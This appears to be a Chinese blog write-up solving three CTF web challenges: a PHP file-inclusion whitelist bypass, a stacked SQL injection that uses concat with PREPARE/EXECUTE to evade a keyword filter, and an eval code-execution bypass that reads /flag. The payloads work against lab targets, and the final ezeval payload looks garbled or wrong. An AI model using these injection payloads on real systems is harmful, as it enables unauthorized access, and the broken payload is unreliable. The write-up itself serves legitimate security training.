BMZCTF——web(hctf、随便注、ezeval)


所有题目wp都经过实践。可放心食用。


hctf_2018_warmup

做题思路

打开题目链接,F12查看元素,看到注释有source.php,访问看看
在这里插入图片描述
访问目录得到一个php代码,不妨看一看他要表达什么。

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

首先看到可利用的点就是这里,白名单的值为source.php和hint.php

 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];

目前source.php是源码,那么hint.php我们可以访问看下
在这里插入图片描述
告诉我们flag在/flaaagg目录下,这也是个有用的信息,可以先记一下,用脚指头想一想,这么多代码的题肯定不能直接结束,我们再往下读一读代码的意思。

if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

上面说如果page变量为空的话,或者page变量不是字符串的话,则为false
如果page变量在白名单,则为true

接着往下看。然后if里的第一个判断是判断它接受的是否为空,第二个是判断是否为字符串,第三个将它传给函数check File。都满足后传给函数checkFile.否则打印图片。

 if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

最后构造payload,在source.php下,用file接收值,接收hint.php下面的flaaagg,flaaagg在hint.php下面多少层就需要我们自己试了

在这里插入图片描述

强网杯 2019 随便注

做题思路

打开环境,F12查看环境,亮瞎我的眼,绝了,秀儿
在这里插入图片描述
既然他没强制也没绑架不让我们用sqlmap,那我就不用
先依次输1,2,3,4,看一看回显,发现输入3就没数据了。
在这里插入图片描述
凭感觉来,直接一个1’;show databases;-- 查库

array(1) { [0]=> string(11) “ctftraining” }

array(1) { [0]=> string(18) “information_schema” }

array(1) { [0]=> string(5) “mysql” }

array(1) { [0]=> string(18) “performance_schema” }

array(1) { [0]=> string(9) “supersqli” }

array(1) { [0]=> string(4) “test” }

再用1’;show tables;–查一下有哪些表
在这里插入图片描述
看到flagg表,再细看下面有哪些列,输入1’;show columns from flagg;–

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

最后尝试读取,发现有被拦截,找了几种方法,发现拼接可以绕过,用concat连接字符串。
-1’;use supersqli;set @sql=concat(‘s’,'elect flag from flagg');PREPARE BMZ FROM @sql;EXECUTE BMZ;#
在这里插入图片描述

WEB_ezeval

做题思路

访问下页面,看到php代码,那么我们就来了解一下
在这里插入图片描述
变量cmd是存储post传来的数据,cmd的值未html实体(百度查htmlspecialchars() 函数)
最后eval的意思是把字符串按照 PHP 代码来计算。
上面黑名单禁的system可以用到,作用是执行外部程序,并且显示输出,使用拼接绕过
构造payload。cmd=systemctl(cat /flag)
cat /flag 看到flag
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

征__程

多动手,避免老年痴呆,活跃身心

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值